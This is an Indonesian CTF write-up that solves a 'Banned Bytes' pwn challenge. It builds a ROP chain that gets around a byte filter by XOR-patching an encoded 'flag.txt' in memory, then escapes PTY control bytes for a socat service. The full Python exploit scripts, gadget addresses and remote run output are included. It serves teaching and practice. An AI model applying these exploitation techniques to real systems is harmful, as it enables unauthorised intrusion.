Banned Bytes
Challenge-nya: binary pwn dengan overflow, tapi input kita disensor beberapa byte. Terus remote-nya dibungkus socat pakai pty, jadi exploit yang jalan di proses lokal belum tentu langsung jalan remote. Agak nyebelin, tapi justru bagian ngerinya di situ.
Banned Bytes
File yang Dikasih
Isi zip:
Dockerfile
docker-compose.yml
flag.txt
libprint.so
run.sh
vuln
Isi run.sh:
~/ctf/tracebash/pwn
❯ cat run.sh 01:15:01
#!/bin/bash
exec timeout 120 /home/ctf/vuln
Isi Dockerfile:
~/ctf/tracebash/pwn
❯ cat Dockerfile 01:21:57
FROM ubuntu:22.04
RUN apt-get update && \
apt-get install -y socat && \
rm -rf /var/lib/apt/lists/*
RUN useradd -m ctf
WORKDIR /home/ctf
COPY vuln .
COPY libprint.so .
COPY flag.txt .
COPY run.sh .
RUN chmod +x vuln run.sh
RUN chown root:ctf vuln libprint.so flag.txt run.sh
RUN chmod 440 flag.txt
USER ctf
EXPOSE 1338
CMD ["socat", "TCP-LISTEN:1338,reuseaddr,fork", "EXEC:/home/ctf/run.sh,pty,stderr"]
Isi docker-compose.yml:
~/ctf/tracebash/pwn
❯ cat docker-compose.yml 01:23:41
services:
banned-bytes:
build: .
ports:
- "1338:1338"
restart: unless-stopped
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
tmpfs:
- /tmp
read_only: true
mem_limit: 256m
cpus: 1
pids_limit: 1024
Ada
vuln, target utama.Ada
libprint.so, kemungkinan ada fungsi helper buat print file.
Di run.sh:
exec timeout 120 /home/ctf/vuln
Di Dockerfile, service akhirnya dijalankan pakai:
CMD ["socat", "TCP-LISTEN:1338,reuseaddr,fork", "EXEC:/home/ctf/run.sh,pty,stderr"]
Sementara docker-compose.yml expose port 1338:1338. Catatan penting: ada pty di command socat. Ini nanti jadi sumber drama remote.
Proteksi Binary
Hasil checksec:
Partial RELRO
No Canary
NX enabled
PIE Disabled
Interpretasinya:
No Canary: stack overflow bisa langsung overwrite saved RIP.
NX enabled: jangan berharap shellcode di stack.
PIE Disabled: alamat gadget di binary tetap, jadi ROP enak.
Partial RELRO: GOT tidak full read-only, tapi di exploit ini kita gak perlu overwrite GOT.
Dari sini hipotesis awal cukup jelas: pakai ROP, bukan shellcode.
Command yang dipakai buat dapetin ini:
checksec file vuln
file vuln libprint.so
Evidence Bug dari Decompile
Dari decompile vuln():
_QWORD buf[8]; // [rsp+0h] [rbp-50h]
memset(buf, 0, sizeof(buf));
printf("Input: ");
fflush(stdout);
result = read(0, buf, 0x200u);
v3 = result;
if (result > 0) {
for (i = 0; i < v3; ++i) {
v2 = *((_BYTE *)buf + i);
if (v2 == 120 || v2 == 103 || v2 == 97 || v2 == 46)
*((_BYTE *)buf + i) = 0;
}
return printf("You entered: %s\n", (const char *)buf);
}
Dari disassembly juga keliatan lebih konkret:
40116b: sub rsp,0x50
...
4011cd: lea rax,[rbp-0x50]
4011d1: mov edx,0x200
4011de: call read@plt
Artinya:
Buffer mulai di
[rbp-0x50].Stack frame lokal ukurannya
0x50.read()baca0x200.Saved RBP ada di
[rbp].Saved RIP ada di
[rbp+8].
Jadi offset ke saved RIP:
0x50 + 8 = 0x58 = 88
Ini dasar kenapa payload dimulai dengan:
payload = b"A" * 88
Yang bikin yakin: saat payload lokal pakai A * 88 + p64(gadget), program mulai lompat ke gadget. Kalau offset salah, biasanya crash di alamat 0x414141... atau chain geser total.
Evidence Banned Bytes
Loop sanitizer-nya ngecek byte ini:
401202: cmp BYTE PTR [rbp-0x9],0x78
401208: cmp BYTE PTR [rbp-0x9],0x67
40120e: cmp BYTE PTR [rbp-0x9],0x61
401214: cmp BYTE PTR [rbp-0x9],0x2e
40121f: mov BYTE PTR [rbp+rax*1-0x50],0x0
Kalau ditranslate:
0x78 = 'x'
0x67 = 'g'
0x61 = 'a'
0x2e = '.'
Jadi semua input byte x, g, a, . bakal diganti \x00.
Ini bukan cuma ngaruh ke string. Ini juga ngaruh ke seluruh ROP chain, karena loop jalan sampai len hasil read(). Jadi semua byte payload, termasuk alamat gadget, argument, padding, dan string, harus bebas dari byte banned.
Di exploit aku validasi begini:
BAD = b"xga."
bad_positions = [(i, bytes([b])) for i, b in enumerate(payload) if b in BAD]
if bad_positions:
raise ValueError(f"payload contains banned bytes: {bad_positions}")
Ini penting. Kalau payload “kelihatan bener” tapi ada satu byte 0x61, nanti byte itu berubah jadi 0x00 dan ROP chain bisa silently rusak. Ngeselin banget kalau gak dicek.
Target Fungsi: print_file
Dari symbol/relocation:
000000404018 R_X86_64_JUMP_SLOT print_file
Dari PLT:
0000000000401060 <print_file@plt>:
401060: jmp QWORD PTR [rip+0x2fb2] # 404018 <print_file>
Jadi:
print_file@plt = 0x401060
Dari libprint.so, fungsi print_file menerima path di rdi, lalu:
mov rdi, rax
call fopen@plt
...
call fgetc@plt
call putchar@plt
Jadi kalau kita bisa manggil:
print_file("flag.txt")
flag kebaca.
Kenapa bukan ret2libc system("/bin/sh")? Bisa aja dicari, tapi di sini binary sudah ngasih fungsi helper print_file, plus ada custom gadget buat write/xor memory. Jadi intended path-nya lebih jelas: bikin path file, panggil helper.
Gadget yang Dipakai
Dari symbol/disassembly:
0x40125b : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x401264 : pop r14 ; pop r15 ; ret
0x401269 : mov qword ptr [r13], r12 ; ret
0x40126e : xor byte ptr [r15], r14b ; ret
0x401272 : pop rdi ; ret
0x401274 : ret
Evidence dari objdump:
40125b: 41 5c pop r12
40125d: 41 5d pop r13
40125f: 41 5e pop r14
401261: 41 5f pop r15
401263: c3 ret
401269: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
40126d: c3 ret
40126e: 45 30 37 xor BYTE PTR [r15],r14b
401271: c3 ret
401272: 5f pop rdi
401273: c3 ret
Makna gadget:
pop r12 ; pop r13 ; ...: siapin data dan alamat.mov [r13], r12: write 8 byte ke memory.xor byte ptr [r15], r14b: patch 1 byte memory.pop rdi: set argumen pertama untuk fungsi di x86-64 SysV ABI.
Command yang dipakai:
objdump -d -M intel vuln
readelf -s vuln | rg 'gadget|print_file|writebuf|main|vuln'
Tempat Nulis String
Dari symbol table:
0000000000404060 256 OBJECT GLOBAL DEFAULT 26 writebuf
Jadi ada buffer global:
writebuf = 0x404060
Ini enak buat naro string karena:
Alamatnya static, PIE off.
Writable.
Tidak perlu leak stack.
Tidak perlu nebak ASLR.
Command evidence:
~/ctf/tracebash/pwn
❯ readelf -s vuln | rg writebuf 01:26:46
40: 0000000000404060 256 OBJECT GLOBAL DEFAULT 26 writebuf
Masalah String flag.txt
String target:
flag.txt
Tapi isinya kena banned semua:
f l a g . t x t
^ ^ ^ ^
a g . x
Kalau dikirim langsung, sanitizer bakal bikin jadi:
fl\0\0\0t\0t
Jelas fopen() gagal.
Solusinya: kirim versi encoded yang tidak mengandung byte banned, lalu patch di memory setelah sanitizer selesai.
Encoded string:
fl`f/tyt
Evidence transform:
index target encoded encoded ^ 1
0 f f f
1 l l l
2 a ` a
3 g f g
4 . / .
5 t t t
6 x y x
7 t t t
Yang perlu di-XOR dengan 1 cuma offset:
2, 3, 4, 6
Kenapa XOR 1? Karena hasilnya pas dan byte 1 sendiri aman, bukan banned.
Bentuk ROP Chain
1. Tulis encoded string ke .bss
payload += p64(pop_r12_r13_r14_r15)
payload += b"fl`f/tyt"
payload += p64(writebuf)
payload += p64(1)
payload += p64(writebuf + 2)
payload += p64(mov_r13_r12)
Setelah gadget pop_r12_r13_r14_r15_ret:
r12 = "fl`f/tyt"
r13 = writebuf
r14 = 1
r15 = writebuf + 2
Lalu:
mov qword ptr [r13], r12
Maka writebuf berisi:
fl`f/tyt
Catatan: r14 dan r15 pertama ini sebenarnya belum wajib dipakai saat mov, tapi harus tetap diisi karena gadget pop-nya butuh 4 slot.
2. Patch encoded string jadi flag.txt
for off in (2, 3, 4, 6):
payload += p64(pop_r14_r15)
payload += p64(1)
payload += p64(writebuf + off)
payload += p64(xor_r15_r14b)
Setiap iterasi:
r14b = 1
r15 = alamat byte yang mau dipatch
xor byte ptr [r15], r14b
Setelah 4 patch:
writebuf = "flag.txt"
Yang bikin yakin: waktu test di gdb, register/memory setelah chain sempat kelihatan writebuf berubah jadi flag.txt. Di run normal, bukti akhirnya print_file bisa buka file dan print TBCTF{dummy}.
3. Call print_file(writebuf)
payload += p64(pop_rdi)
payload += p64(writebuf)
payload += p64(ret)
payload += p64(print_file_plt)
Kenapa pop rdi? Karena argumen pertama fungsi di Linux x86-64 masuk lewat rdi.
Kenapa ada ret sebelum call? Buat alignment stack. Beberapa fungsi libc sensitif kalau stack alignment gak sesuai 16-byte. Tambah satu ret sering jadi fix simpel buat ROP.
4. Flush output
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(ret)
payload += p64(fflush_plt)
payload += p64(main)
Di lokal host, flag bisa langsung kelihatan. Tapi di Docker Ubuntu direct, sempat kejadian flag gak kelihatan karena proses crash sebelum output buffer ke-flush.
fflush(NULL) artinya flush semua output stream. Jadi setelah print_file, kita paksa output keluar dulu. Kalau setelah itu crash, ya gapapa, flag sudah kebaca.
main ditaruh setelahnya supaya chain punya return target yang valid. Kalau program masuk main lagi dan nunggu input lalu crash setelah EOF, itu gak masalah.
Payload Final
Payload mentah:
payload = b"A" * 88
payload += p64(pop_r12_r13_r14_r15)
payload += b"fl`f/tyt"
payload += p64(writebuf)
payload += p64(1)
payload += p64(writebuf + 2)
payload += p64(mov_r13_r12)
for off in (2, 3, 4, 6):
payload += p64(pop_r14_r15)
payload += p64(1)
payload += p64(writebuf + off)
payload += p64(xor_r15_r14b)
payload += p64(pop_rdi)
payload += p64(writebuf)
payload += p64(ret)
payload += p64(print_file_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(ret)
payload += p64(fflush_plt)
payload += p64(main)
payload += b"\n"
Panjang payload final:
337 bytes
Payload check:
bad bytes in payload: []
Ini penting karena sanitizer jalan sebelum ret.
Trial and Error
trial_common.py:
#!/usr/bin/env python3
from argparse import ArgumentParser
from socket import create_connection
from struct import pack
from subprocess import PIPE, Popen, run
from time import sleep
POP_R12_R13_R14_R15 = 0x40125B
POP_R14_R15 = 0x401264
MOV_R13_R12 = 0x401269
XOR_R15_R14B = 0x40126E
POP_RDI = 0x401272
RET = 0x401274
PRINT_FILE_PLT = 0x401060
FFLUSH_PLT = 0x401050
MAIN = 0x40124B
WRITEBUF = 0x404060
PTY_SPECIAL = bytes([
0x03, 0x04, 0x0F, 0x11, 0x12, 0x13,
0x15, 0x16, 0x17, 0x1A, 0x1C, 0x7F,
])
def p64(value):
return pack("<Q", value)
def raw_flag_payload():
payload = b"A" * 88
payload += p64(POP_R12_R13_R14_R15)
payload += b"flag.txt"
payload += p64(WRITEBUF)
payload += p64(0)
payload += p64(0)
payload += p64(MOV_R13_R12)
payload += p64(POP_RDI)
payload += p64(WRITEBUF)
payload += p64(RET)
payload += p64(PRINT_FILE_PLT)
payload += p64(POP_RDI)
payload += p64(0)
payload += p64(RET)
payload += p64(FFLUSH_PLT)
payload += p64(MAIN)
payload += b"\n"
return payload
def encoded_payload(with_fflush):
payload = b"A" * 88
payload += p64(POP_R12_R13_R14_R15)
payload += b"fl`f/tyt"
payload += p64(WRITEBUF)
payload += p64(1)
payload += p64(WRITEBUF + 2)
payload += p64(MOV_R13_R12)
for off in (2, 3, 4, 6):
payload += p64(POP_R14_R15)
payload += p64(1)
payload += p64(WRITEBUF + off)
payload += p64(XOR_R15_R14B)
payload += p64(POP_RDI)
payload += p64(WRITEBUF)
payload += p64(RET)
payload += p64(PRINT_FILE_PLT)
if with_fflush:
payload += p64(POP_RDI)
payload += p64(0)
payload += p64(RET)
payload += p64(FFLUSH_PLT)
payload += p64(MAIN)
payload += b"\n"
return payload
def quote_for_pty(payload):
quoted = bytearray()
for b in payload:
if b in PTY_SPECIAL and b != 0x0A:
quoted.append(0x16)
quoted.append(b)
return bytes(quoted)
def run_local(payload):
proc = Popen(["./vuln"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
out, err = proc.communicate(payload, timeout=5)
return out + err
def run_docker_payload(payload):
proc = run(
["docker", "image", "inspect", "pwn-banned-bytes"],
stdout=PIPE,
stderr=PIPE,
check=False,
)
if proc.returncode != 0:
return (
b"[!] Docker image pwn-banned-bytes belum ada.\n"
b" Build dulu dengan: docker compose build\n"
)
docker = Popen(
["docker", "run", "--rm", "-i", "pwn-banned-bytes", "/home/ctf/vuln"],
stdin=PIPE,
stdout=PIPE,
stderr=PIPE,
)
out, err = docker.communicate(payload, timeout=10)
return out + err
def run_remote(payload, host, port, quote=False, read_prompt=False, delay=0.0):
data = quote_for_pty(payload) if quote else payload
with create_connection((host, port), timeout=5) as sock:
sock.settimeout(3)
chunks = []
if read_prompt:
try:
chunks.append(sock.recv(1024))
except TimeoutError:
pass
sock.sendall(data)
if delay:
sleep(delay)
sock.shutdown(1)
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks)
def remote_args(description):
parser = ArgumentParser(description=description)
parser.add_argument("host")
parser.add_argument("port", type=int)
return parser.parse_args()
def print_result(title, payload, output):
print(f"[trial] {title}")
print(f"[trial] payload_len={len(payload)}")
print(output.decode("latin-1", errors="replace"), end="")
Percobaan 1: Kirim flag.txt langsung
#!/usr/bin/env python3
from trial_common import print_result, raw_flag_payload, run_local
payload = raw_flag_payload()
output = run_local(payload)
print_result("01 raw flag string lokal - expected gagal", payload, output)
Ide awal:
Taruh
flag.txtdi payload.pop rdi.Call
print_file@plt.
Ini gagal karena flag.txt kena banned bytes. Bukti dari sanitizer:
a, g, ., x -> \x00
Hal yang bikin yakin ini penyebabnya: setelah cek payload, string memang mengandung semua byte banned. Jadi meskipun ROP control-flow bener, argumen fopen() pasti rusak.
Script bukti:
./trial_scripts/01_raw_flag_local.py
Output real:
[trial] 01 raw flag string lokal - expected gagal
[trial] payload_len=209
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ñ
Input:
Tidak ada TBCTF{dummy}, jadi payload ini memang gagal.
Percobaan 2: Encode string dan patch pakai XOR
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, run_local
payload = encoded_payload(with_fflush=False)
output = run_local(payload)
print_result("02 encoded + XOR lokal - expected flag dummy keluar", payload, output)
Ini mulai berhasil. String encoded tidak mengandung banned bytes:
fl`f/tyt
Patch runtime pakai xor byte ptr [r15], r14b.
Evidence run lokal:
./trial_scripts/02_encoded_xor_local.py
[trial] 02 encoded + XOR lokal - expected flag dummy keluar
[trial] payload_len=305
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
TBCTF{dummy}
Input:
Kenapa ada karakter aneh seperti 1? Karena printf("You entered: %s") nge-print buffer awal sampai NUL pertama. Payload kita binary, jadi outputnya memang noisy. Yang penting flag keluar.
Hal yang bikin yakin:
Tidak ada banned byte di payload.
print_fileberhasil bukaflag.txt.Flag dummy lokal keluar.
Percobaan 3: Docker direct sempat gak print flag
a:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, run_docker_payload
payload = encoded_payload(with_fflush=False)
output = run_docker_payload(payload)
print_result("03a encoded tanpa fflush via Docker - expected output belum ke-flush", payload, output)
b:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, run_docker_payload
payload = encoded_payload(with_fflush=True)
output = run_docker_payload(payload)
print_result("03b encoded dengan fflush via Docker - expected flag dummy keluar", payload, output)
Pas dicoba di container Ubuntu, awalnya output cuma:
./trial_scripts/03a_no_flush_docker.py
[trial] 03a encoded tanpa fflush via Docker - expected output belum ke-flush
[trial] payload_len=305
Input:
ROP-nya kemungkinan sudah jalan, tapi output belum ke-flush. Ini masuk akal karena stdout bisa beda buffering tergantung pipe/pty/container.
Fix:
call fflush(NULL)
Setelah ditambah fflush, direct Docker test:
./trial_scripts/03b_with_fflush_docker.py
[trial] 03b encoded dengan fflush via Docker - expected flag dummy keluar
[trial] payload_len=337
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{dummy}
Kalau setelah itu proses crash atau balik lagi ke Input:, itu sudah gak masalah. Flag sudah keluar, jadi untuk CTF ini valid.
Percobaan 4: Service socat pty bikin payload rusak
a:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, remote_args, run_remote
args = remote_args("Percobaan 4a: remote tanpa PTY quoting, expected noisy/gagal")
payload = encoded_payload(with_fflush=True)
output = run_remote(payload, args.host, args.port, quote=False, read_prompt=True, delay=0.2)
print_result("04a remote tanpa PTY quote - expected gagal/noisy", payload, output)
b:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, remote_args, run_remote
args = remote_args("Percobaan 4b: remote dengan PTY quoting")
payload = encoded_payload(with_fflush=True)
output = run_remote(payload, args.host, args.port, quote=True, read_prompt=True, delay=0.2)
print_result("04b remote dengan PTY quote - expected flag keluar", payload, output)
Waktu lewat service:
socat TCP-LISTEN:1338,reuseaddr,fork EXEC:/home/ctf/run.sh,pty,stderr
Payload awal yang jalan lokal malah gak jalan stabil. Output echo dari service juga aneh, banyak control notation seperti:
./trial_scripts/04a_remote_no_pty_quote.py 13.127.119.28 1338
^R
^@
Ini clue besar kalau input lewat terminal line discipline, bukan raw socket biasa.
Setelah dicek payload, banyak byte 0x12:
control in payload:
[(89, '0x12'), (129, '0x12'), ...]
Kenapa ada 0x12? Karena alamat gadget seperti 0x40125b dalam little endian:
5b 12 40 00 00 00 00 00
Byte 0x12 di PTY biasanya VREPRINT alias Ctrl-R. Jadi terminal bisa interpretasi byte itu, bukan ngasih mentah ke program.
Solusi: quote control bytes pakai VLNEXT (0x16).
Kalau mau kirim literal 0x12, kirim:
0x16 0x12
Terminal akan menganggap byte setelah 0x16 sebagai literal.
Di exploit:
PTY_SPECIAL = bytes([
0x03, 0x04, 0x0F, 0x11, 0x12, 0x13,
0x15, 0x16, 0x17, 0x1A, 0x1C, 0x7F,
])
def quote_for_pty(payload):
quoted = bytearray()
for b in payload:
if b in PTY_SPECIAL and b != 0x0A:
quoted.append(0x16)
quoted.append(b)
return bytes(quoted)
Evidence setelah quote:
payload 337 bytes
quoted 352 bytes
Kenapa jadi 352? Karena ada 15 control byte yang di-prefix 0x16.
Hal yang bikin yakin:
Raw payload via PTY gagal/noisy.
Quoted payload via PTY sukses.
Local non-PTY tetap pakai raw payload.
Script fix PTY quoting:
./trial_scripts/04b_remote_with_pty_quote.py 13.127.119.28 1338
Output:
~/ctf/tracebash/pwn
❯ ./trial_scripts/04b_remote_with_pty_quote.py 13.127.119.28 1338 02:28:39
[trial] 04b remote dengan PTY quote - expected flag keluar
[trial] payload_len=337
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[^R@^@^@^@^@^@fl`f/tyt`@@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@i^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@c@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@d@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@f@@^@^@^@^@^@n^R@^@^@^@^@^@r^R@^@^@^@^@^@`@@^@^@^@^@^@t^R@^@^@^@^@^@`^P@^@^@^@^@^@r^R@^@^@^@^@^@^@^@^@^@^@^@^@^@t^R@^@^@^@^@^@P^P@^@^@^@^@^@K^R@^@^@^@^@^@
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
timeout: the monitored command dumped core
Percobaan 5: Remote masih kosong gara-gara timing
a:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, remote_args, run_remote
args = remote_args("Percobaan 5a: kirim payload lalu shutdown cepat, tanpa baca prompt")
payload = encoded_payload(with_fflush=True)
output = run_remote(payload, args.host, args.port, quote=True, read_prompt=False, delay=0.0)
print_result("05a remote fast close - expected flaky/kadang kosong", payload, output)
b:
#!/usr/bin/env python3
from trial_common import encoded_payload, print_result, remote_args, run_remote
args = remote_args("Percobaan 5b: baca prompt dulu + delay sebelum shutdown")
payload = encoded_payload(with_fflush=True)
output = run_remote(payload, args.host, args.port, quote=True, read_prompt=True, delay=0.2)
print_result("05b remote prompt + delay - expected stabil flag keluar", payload, output)
Sempat command ini kosong:
~/ctf/tracebash/pwn
❯ ./trial_scripts/05a_remote_fast_close.py 13.127.119.28 1338 02:29:47
[trial] 05a remote fast close - expected flaky/kadang kosong
[trial] payload_len=337
Tapi waktu probe manual, remote jelas hidup:
~/ctf/tracebash/pwn
❯ nc 13.127.119.28 1338 02:31:26
Input: test
test
You entered: test
Berarti bukan host mati, bukan port salah. Masalahnya di cara script ngobrol dengan service.
Fix remote I/O:
sock.settimeout(3)
chunks.append(sock.recv(1024)) # baca prompt dulu (script nunggu dan menerima output awal dari service sebelum ngirim payload.)
sock.sendall(quote_for_pty(payload))
sleep(0.2)
sock.shutdown(1)
Kenapa baca prompt dulu? Biar service sudah benar-benar masuk fase read().
Kenapa sleep(0.2)? Karena remote socat + pty butuh waktu buat nganter payload ke process. Kalau socket langsung di-shutdown terlalu agresif, kadang hasilnya kosong atau kepotong.
Evidence final remote:
./trial_scripts/05b_remote_prompt_delay.py 13.127.119.28 1338
~/ctf/tracebash/pwn
❯ ./trial_scripts/05b_remote_prompt_delay.py 13.127.119.28 1338 02:31:44
[trial] 05b remote prompt + delay - expected stabil flag keluar
[trial] payload_len=337
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[^R@^@^@^@^@^@fl`f/tyt`@@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@i^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@b@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@c@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@d@@^@^@^@^@^@n^R@^@^@^@^@^@d^R@^@^@^@^@^@^A^@^@^@^@^@^@^@f@@^@^@^@^@^@n^R@^@^@^@^@^@r^R@^@^@^@^@^@`@@^@^@^@^@^@t^R@^@^@^@^@^@`^P@^@^@^@^@^@r^R@^@^@^@^@^@^@^@^@^@^@^@^@^@t^R@^@^@^@^@^@P^P@^@^@^@^@^@K^R@^@^@^@^@^@
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
timeout: the monitored command dumped core
Hal yang Bikin Yakin Solusi Ini Valid
Beberapa checkpoint yang bikin yakin, bukan cuma “feeling”:
- Overflow offset jelas dari stack layout
buf = rbp-0x50
saved RIP = rbp+8
offset = 0x50 + 8 = 88
- Banned bytes jelas dari compare instruction
0x78, 0x67, 0x61, 0x2e
- Alamat gadget dan function static
PIE disabled, jadi alamat 0x40125b, 0x401060, dll stabil.
- String
flag.txttidak dikirim mentah
Payload tidak punya byte x, g, a, . sama sekali.
writebufwritable dan fixed
Symbol table kasih:
writebuf = 0x404060
- Runtime patch terbukti
Encoded fl\f/tytjadiflag.txtsetelah XOR offset2,3,4,6`.
- Local, Docker, dan remote semuanya punya explanation masing-masing
Local raw process: payload biasa.
Docker direct: perlu
fflush.socat pty: perluVLNEXTquoting.Remote: perlu prompt read + delay kecil.
Payload Percobaan yang Bisa Dirun
Supaya trial-error-nya gak cuma jadi cerita, aku bikin helper (source setelah trial):
./trial_payloads.py <trial> [host port]
Pilihan trial:
raw-flag : payload salah, nulis "flag.txt" mentah
encoded : payload encoded, jalan lokal, tapi remote sengaja tanpa PTY quoting
final : payload final
Script ini gunanya buat reproduce output percobaan. Jadi kalau mau lihat gagalnya di mana, bisa run satu-satu.
Trial 1: raw-flag
Payload ini sengaja salah. Dia langsung masukin string mentah:
payload += b"flag.txt"
Secara ide kelihatannya masuk akal: tulis flag.txt ke writebuf, lalu call print_file. Tapi karena flag.txt punya banned bytes, sanitizer bakal ngerusak string sebelum ROP jalan.
Run:
./trial_payloads.py raw-flag
Output:
[trial] raw-flag
[trial] payload_len=209
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ñ
Input:
Yang penting dari output ini: gak ada TBCTF{dummy}. Jadi control-flow masih bisa balik ke Input:, tapi path file yang dipakai print_file rusak dan gak nge-print flag.
Kenapa aku yakin rusaknya di string? Karena banned bytes ada tepat di flag.txt:
flag.txt -> fl\0\0\0t\0t
Jadi fopen() nyari nama file yang salah.
Trial 2: encoded Lokal
Payload ini pakai encoded string:
fl`f/tyt
Lalu patch offset 2,3,4,6 pakai XOR 1. Ini payload yang sudah bener untuk proses lokal/non-PTY.
Run:
./trial_payloads.py encoded
Output:
[trial] encoded
[trial] payload_len=337
Input: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{dummy}
Input:
Ini bukti penting:
Offset overflow
88valid.Gadget write dan XOR valid.
writebufberhasil jadiflag.txt.print_file(writebuf)berhasil baca localflag.txt.
Trial 3: encoded Remote Tanpa PTY Quoting
Payload encoded tadi kalau dikirim ke remote tanpa quote PTY, dia gagal/noisy. Ini sengaja dibuat di trial_payloads.py encoded host port.
Run:
./trial_payloads.py encoded 13.127.119.28 1338
Potongan output:
[trial] encoded
[trial] payload_len=337
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[@^@^@^@^@^@fl`f/tyt...
...
K^R
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Yang dicari dari output ini bukan flag, tapi gejalanya:
Banyak echo aneh dari PTY.
Ada
^R, itu representasi control byte0x12.Tidak ada flag.
Ini yang bikin yakin masalahnya bukan ROP lagi, tapi transport PTY. Byte 0x12 dari alamat gadget dibaca terminal sebagai control character.
Trial 4: final Remote
Payload final sama seperti encoded payload, tapi saat remote dia lewat:
quote_for_pty(payload)
Jadi control byte seperti 0x12 dikirim sebagai literal dengan prefix 0x16.
Run:
./trial_payloads.py final 13.127.119.28 1338
Output:
[trial] final
[trial] payload_len=337
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[^^R@^@...
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Q
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
trial_payloads.py:
#!/usr/bin/env python3
from argparse import ArgumentParser
from struct import pack
from solve import build_payload, quote_for_pty, run_local, run_remote
def p64(value):
return pack("<Q", value)
def payload_raw_flag_string():
pop_r12_r13_r14_r15 = 0x40125B
mov_r13_r12 = 0x401269
pop_rdi = 0x401272
ret = 0x401274
print_file_plt = 0x401060
fflush_plt = 0x401050
main = 0x40124B
writebuf = 0x404060
payload = b"A" * 88
payload += p64(pop_r12_r13_r14_r15)
payload += b"flag.txt"
payload += p64(writebuf)
payload += p64(0)
payload += p64(0)
payload += p64(mov_r13_r12)
payload += p64(pop_rdi)
payload += p64(writebuf)
payload += p64(ret)
payload += p64(print_file_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(ret)
payload += p64(fflush_plt)
payload += p64(main)
payload += b"\n"
return payload
def payload_encoded_no_pty_quote():
return build_payload()
def run_payload(name, host=None, port=None):
payloads = {
"raw-flag": payload_raw_flag_string,
"encoded": payload_encoded_no_pty_quote,
"final": build_payload,
}
payload = payloads[name]()
print(f"[trial] {name}")
print(f"[trial] payload_len={len(payload)}")
if host and port:
if name == "encoded":
# Intentional: no PTY quoting, to show why the service breaks.
from socket import create_connection
from time import sleep
with create_connection((host, port)) as sock:
sock.settimeout(3)
chunks = []
try:
chunks.append(sock.recv(1024))
except TimeoutError:
pass
sock.sendall(payload)
sleep(0.2)
sock.shutdown(1)
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
chunks.append(chunk)
output = b"".join(chunks)
else:
output = run_remote(host, port, payload)
else:
output = run_local(payload)
print(output.decode("latin-1", errors="replace"), end="")
def main():
parser = ArgumentParser(description="Runnable intermediate payload trials")
parser.add_argument(
"trial",
choices=("raw-flag", "encoded", "final"),
help="raw-flag: wrong direct flag.txt payload; encoded: works locally but not PTY-safe remotely; final: final payload",
)
parser.add_argument("host", nargs="?")
parser.add_argument("port", nargs="?", type=int)
args = parser.parse_args()
run_payload(args.trial, args.host, args.port)
if __name__ == "__main__":
main()
Output trial_payloads.py:
~/ctf/tracebash/pwn
